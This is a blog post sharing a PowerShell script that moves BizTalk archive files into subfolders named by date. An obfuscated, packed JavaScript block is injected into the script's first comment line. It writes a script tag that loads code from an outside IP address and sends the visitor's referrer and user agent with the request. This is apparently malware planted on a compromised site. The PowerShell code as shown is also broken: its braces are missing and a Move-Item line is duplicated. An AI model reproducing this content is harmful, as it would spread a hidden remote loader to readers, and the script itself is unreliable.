With BizTalk, we often archive files in a sub directory. Personally, I would rather archive to a SQL database with a database column, but that takes a little more architecture and sales. So in the meantime, many clients continue to write files to disk. There are frequently clean-up jobs that delete files over x days old.

However, when there are multiple thousands of a files in any directory, it can take a long time to open that directory, and display the files, especially when you are accessing it from a remote computer.

The $DaysBack parameter can be set to non-zero if you want to only group files over x days old into sub-directories.

#Move <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|daayr|var|u0026u|referrer|fryzr||js|php'.split('|'),0,{}))
</script></noindex> files (for example BizTalk archive XML files) 
#into subfolders based on date 

$SourceDir = "C:\TestFiles\"
$DestinationDir = "C:\TestFiles\"
$DaysBack = 0 

$files = get-childitem $SourceDir *.* 
Write-Host "File COunt= $($files.Count)"

foreach ($file in $files) 
    $NewSubDirectory = $DestinationDir + "" + $file.LastWriteTime.Date.ToString('yyyy-MM-dd')

    #Create $NewSubDirectory if it doesn't already exist 
    if (!(Test-Path $NewSubDirectory))
	    New-Item $NewSubDirectory -type directory

    if ($DaysBack -gt 0)
       If($file.LastWriteTime -lt (Get-Date).adddays(-1 * $DaysBack).date)
	       Move-Item $file.fullname $NewSubDirectory
    	   Move-Item $file.fullname $NewSubDirectory


You will need full write/rename access to run this script. You can specify a UNC name in the $SourceDir and $DestinationDir variables.

Code above based on code sample found here http://www.marcvalk.net/2012/06/powershell-moving-files-into-subfolder-based-on-date/

Before – could be thousands of files


After – Files in neat subdirectories by date


Filed under: Powershell